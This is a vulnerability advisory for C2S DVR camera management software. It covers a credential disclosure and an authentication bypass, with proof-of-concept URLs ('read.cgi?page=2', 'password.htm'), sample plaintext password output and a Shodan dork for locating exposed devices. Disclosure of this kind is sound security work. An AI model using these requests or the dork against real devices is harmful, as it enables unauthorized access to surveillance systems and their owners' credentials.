1. Advisory Information
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Title                   : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass
Vendor Homepage         : http://www.cash2s.com/en/
Remotely Exploitable    : Yes
Tested on Camera types  : IRDOME-II-C2S, IRBOX-II-C2S, DVR
Vulnerabilities         : Credentials Disclosure
+                       : Authentication bypass
Date                    : 19/08/2016
Shodan Dork             : html:write.cgi "Content-length: 2676"
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
  
  
2. CREDIT
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This vulnerability was identified during penetration test by Yakir Wizman.
   
 
3. Description
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C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler.
Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management.
 
 
4. Proof-of-Concept:
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Remote Credentials Disclosure:
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Simply go to the following url to read the credentials:
http://host:port/cgi-bin/read.cgi?page=2
 
Should return some javascript variable which contain the credentials and other configuration vars:
 
var pw_enflag = "1";
var pw_adminpw = "12345";
var pw_retype1 = "12345";
var pw_userpw = "56789";
var pw_retype2 = "56789";
var pw_autolock = "0";
 
 
Login @ http://host:port/
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Authentication Bypass:
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The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks.
 
http://host:port/password.htm?parm1=&parm2=1
 
 
 
5. SOLUTION
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Contact the vendor for further information regarding the proper mitigation of this vulnerability.